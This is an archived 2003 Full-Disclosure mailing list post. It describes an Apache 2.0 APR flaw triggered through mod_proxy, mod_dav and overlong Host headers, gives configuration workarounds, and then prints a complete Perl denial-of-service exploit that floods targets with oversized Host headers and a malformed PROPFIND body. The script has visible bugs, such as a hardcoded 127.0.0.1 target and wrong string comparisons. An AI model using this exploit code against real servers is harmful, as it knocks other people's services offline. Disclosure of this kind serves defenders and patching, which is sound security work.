lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Sat, 7 Jun 2003 22:31:34 -0400
From: "mattmurphy@...rr.com" <mattmurphy@...rr.com>
To: full-disclosure@...ts.netsys.com, bugtraq@...urityfocus.com,
   vulndiscuss@...nwatch.org, news@...uriteam.com
Subject: Apache 2.x APR Exploit Code


I had planned to write this tool in C for the sake of using native
functionality like crypt(3) to support digest authentication.  I'd also
planned to support intermediate proxies, but a determined user can
implement this via various tunneling applications with minimal
complications, and I don't need to make this too script-kiddie friendly.

The details of each exploit vector are as follows:

* mod_proxy

mod_proxy outputs a simple message when a connection has failed that
includes the host name of the intended destination.  It accomplishes this
via the vulnerable apr_psprintf() function.  This leads to a crash if the
Host header is extremely long.

* mod_dav

Certain methods of accessing a DAV repository may enable attacker-supplied
input to be passed as a parameter to apr_psprintf() as part of an "Invalid
namespace" error.  This results in the crash of the child handling the
request.

* Others

NOTE: mod_dav is also impacted by this exploit, but the exploit vector
above specifically targets it.

Many modules format the hostname of the server into buffers via the
apr_psprintf() function.  The hostname is under the attacker's control if
"UseCanonicalName Off" is in place.  Via a long HTTP/1.1 "Host" header, it
becomes possible to cause these modules to crash.

*** NOTE: Some people have assumed that the Apache LimitRequestFieldSize
directive would protect them from exploitation, so long as they did not
have mod_dav installed.  This is not correct, as the Apache HTTP Server may
take:

GET / HTTP/1.1
Host: a
Host: b

And internally convert it to:

GET / HTTP/1.1
Host: a, b

The same is true for longer headers.  So, ten such headers of 2000
characters each bypasses the default LimitRequestFieldSize directive, but
still exploits the vulnerability.

Workarounds

* LimitXMLRequestBody 2000 in your configuration file for any servers with
DAV enabled.  These can be identified by the string "DAV/2" in their server
signatures in most cases.

* The following pair of lines:

LimitRequestFields 15
LimitRequestFieldSize 800

will temporarily block the mod_proxy exploit.

* Such a rash workaround is not required for the other modules, where a
simple:

UseCanonicalName On

does the trick.  It was recently pointed out to me that there was an error
in my previous post regarding this.  It incorrectly stated that
UseCanonicalName *Off* fixed the flaw.  In reality, this *opens* one of the
exploit vectors.  However, I believe it was clearly identified in the other
parts of my post, and this has now been corrected.  Without making you wait
any longer...

---
#!/usr/bin/perl
#
# Apache 2.0 APR Exploit
# Written By Matthew Murphy
# Updates: http://www.techie.hopto.org/exploits/Apache-Knacker.pl
#
# Ever since I unveiled the additional details of the APR flaw in
# Apache 2.0.37-2.0.45, I've been under pressure to "put my money
# where my mouth is", and produce exploits for the flaw.  My answer
# to these people was "just give me a few days until I figure them
# out, and you'll be the first to know".  Well, despite a slight 
# delay, here you have it.
#
# This Perl script will successfully exploit any un-patched Apache 2.0
# server that does not have the workarounds I highlighted applied.
#
# Okay, now it is time for my classic legal garb...
# Given that this is rushed, and probably buggy in some capacity, this
# is especially important here:
#
# No warranties are made about the performance of this tool, either 
# express or implied.  Your use of this tool is an implicit agreement
# that you will not utilize it against a network if any of the following
# occur:
#
# You do not administer the network
# You are not the owner of the network, and do not have written permission
#	from the owner for testing of this potential vulnerability (HP 
# 	speak there! :-D).
# Networks other than your own may be impacted by use of this tool in some
# 	way.
#
# You also agree NOT to hold the author of the tool responsible for any
# damage resulting from its use, be it accidental or intentional, and also
# agree that the consequences of utilizing this tool (and any damage such
# use creates) are solely your responsibility.
#
# Contact:
# E-mail: mattmurphy@...rr.com
# Web: http://www.techie.hopto.org/
# AIM: NetAddict4109
#	or for the Windows folk among us:
#	aim:goim?screenname=NetAddict4109
#
# Enjoy!

# Base64 Encoder
#
# If you want authentication with the server via HTTP's lame Basic
# auth, put the proper string to encode BASE64 content, and use
# '%s' to represent the credentials being encoded.  For instance:
#
# base64 %s
#
# would result in:
#
# base64 userid:password
#
# If your decoder requires you to use STDIN to pass the password
# (no pun intended), set $BASE64_USE_STDIN to nonzero and do not
# use '%s' on the command-line.
$BASE64_CMD_STRING = "use_base64_encoder_here %s";

# Base64 encoder piping
#
# If your encoder requires the password to be written to STDIN,
# set this to a nonzero value.  NOTE: This requires support for 
# bi-directional pipes on your OS version.
$BASE64_USE_STDIN = 0;

# Base64 encoder input handling
#
# If your encoder requires a newline after your credentials, 
# set this to your newline character.
$BASE64_WRITE_NL = "";

use IO::Socket;
print STDOUT "Apache 2.0 APR Exploit\r\n";
print STDOUT "By Matthew Murphy\r\n\r\n";
print STDOUT "Enter the hostname/IP address of the server: ";
$line = <STDIN>;
$host = mychomp($line);
print STDOUT "Enter the port of the server \[80\]: ";
$line = <STDIN>;
$port = mychomp($line);
print STDOUT "Use authentication credentials for the session \[Y/N\]? ";
$line = <STDIN>;
$char = mychomp($line);
if ($char == "Y" || $char == "y") {
	print STDOUT "What username shall we use: ";
	$line = <STDIN>;
	$user = mychomp($line);
	print STDOUT "What password shall we use: ";
	$line = <STDIN>;
	$pass = mychomp($line);
	$auth = "$user:$pass";
	if ($BASE64_USE_STDIN) {
		# l33t Perl piping trix; NOTE: This is definitely
		# Alpha code! :-)
		pipe(STDOUTREAD, STDOUTWRITE);
		pipe(STDINREAD, STDINWRITE);
		open(OLDSTDIN, "&STDIN");
		open(OLDSTDOUT, ">&STDOUT");
		open(STDIN, "&STDINREAD");
		open(STDOUT, ">&STDOUTWRITE");
		close(STDINREAD);
		close(STDOUTWRITE);
		system($BASE64_CMD_STRING);
		open(STDIN, "&OLDSTDIN");
		open(STDOUT, "&>OLDSTDOUT");
		close(OLDSTDIN);
		close(OLDSTDOUT);
		print STDINWRITE $auth;
		close(STDINWRITE);
		read(STDOUTREAD, $base64, 4096); # Edit for insane passwords
		close(STDOUTREAD);
	} else {
		open(READOUTPUT, sprintf($BASE64_CMD_STRING, $auth)."|");
		read(READOUTPUT, $base64, 4096); # See above
		close(READOUTPUT);
	}
	# Another hack for dealing with base64 encoders that output 
	# multi-lined encoded text.  HTTP specifically calls for a 
	# single line.  Note that this pattern also messes with spaces, 
	# tabs, etc., but base64 doesn't use those either, so this 
	# shouldn't matter.
	$base64 = join("", split(/ /, $base64));
} else {
	$base64 = undef;
}
$f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"127.0.0.1");
print STDOUT "Exploiting a proxy server \[Y/N\]? ";
$line = <STDIN>;
$char = mychomp($line);
if ($char == "Y" || $char == "y") {
	print $f "GET / HTTP/1.1\x0d\x0a";

	# Apache 2.0 tries to limit header inputs, but uses a hash table 
	# that ultimately concatenates multiple headers of the same name 
	# together with ", " between them, so:
	#
	# Host: a
	# Host: b
	#
	# Bypasses Apache's buffer size checks, but ends up as:
	#
	# Host: a,b
	#
	# When processed.  Confirm this with a TRACE against your server:
	#
	# TRACE / HTTP/1.1
	# Host: a
	# Host: b
	#
	# The "message/http" body you receive will contain:
	#
	# TRACE / HTTP/1.1
	# Host: a,b
	#
	# So, for those of you who are confused by this code fragment, 
	# this is what it ultimately achieves!
	for ($i = 0; $i < 10; $i++) {
		print $f "Host: ".("A"x2000)."\r\n";
	}
	if (defined($base64)) {
		print $f "Proxy-Authorization: Basic ".$base64."\r\n";
	}
	print $f "\r\n";
} else {
	print STDOUT "What resource should be probed: ";
	$line = <STDIN>;
	$res = mychomp($line);
	print STDOUT "Exploit a DAV repository for this attack? \[Y/N\] ";
	$line = <STDIN>;
	$char = mychomp($line);
	if ($char == "Y" || $char == "y") {
		# WARNING:
		# Another section of alpha code here; mod_dav tends to barf
		# if given the smallest inconsistency, and this is not 
		# exactly well-researched.  If this doesn't work for you, 
		# target your DAV repository as a typical resource: if 
		# UseCanonicalName On hasn't been set explicitly, mod_dav 
		# will choke on that as well.
		#
		# STunnel should not have issues with this, as you can't 
		# use a "Host" header in an SSL connection anyway, so 
		# that is no problem.
		#
		# Note that if the body is too long, IIS servers will also 
		# die (assuming of course, that the latest IIS cumulative 
		# patch has not been applied), as they have had problems 
		# dealing with WebDAV in the very recent past.

		# XML Body of Request
		#
		# If everything works, mod_dav will attempt to format a 
		# message with apr_psprintf() to indicate that our 
		# namespace is invalid, leading to a crash.
		$xmlbody = "<?xml version=\"1.0\"?>\r\n";
		$xmlbody.= "<D:propfind xmlns:D=\"".("A"x20000)."\:\">\r\n";
		$xmlbody.= "\x20\x20\x20\x20<D:allprop/>\r\n";
		$xmlbody.= "</D:propfind>";

		# HTTP headers
		print $f "PROPFIND $res HTTP/1.1\r\n";
		print $f "Host: $host:$port\r\n";
		print $f "Depth: 1\r\n";
		print $f "Content-Type: text/xml; charset=\"utf-8\"\r\n";
		print $f "Content-Length: ".length($body)."\r\n\r\n";
		if (defined($base64)) {
			print $f "Authorization: Basic ".$base64."\r\n";
		}
		print $f "$xmlbody\r\n\r\n";
	} else {
		# This does *almost* the exact same thing as the mod_proxy 
		# code, and could be considered wasteful, but a few extra 
		# CPU cycles never killed anybody. :-(
		print $f "GET $res HTTP/1.1\r\n";
		for ($i = 0; $i < 10; $i++) {
			print $f "Host: ".("A"x2000)."\r\n";
		}
		if (defined($base64)) {
			print $f "Authorization: Basic ".$base64."\r\n";
		}
		print $f "\r\n";
	}
}
while (defined($ln = <$f>)) {
	print STDOUT $ln;
}
undef $f;
exit;

# FIXED: The perl chomp() function is broken on my distro,
# so I hacked a fix to work around it.  This note applies
# to ActivePerl 5.8.x -- I haven't tried others.  This is
# another hackish fix, which seems to be the entire style
# of this code.  I'll write better toys when I have time to
# write better toys.
sub mychomp {
	my $data;
	my $arg = shift;
	my $CRLF;
	if ($^O == "MSWin32") {
		$CRLF = 1;
	} else {
		$CRLF = 0;
	}
	$data = substr($arg, 0, length($arg) - $CRLF);
	return $data;
}

--------------------------------------------------------------------
mail2web - Check your email from the web at
http://mail2web.com/ .


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


Powered by blists - more mailing lists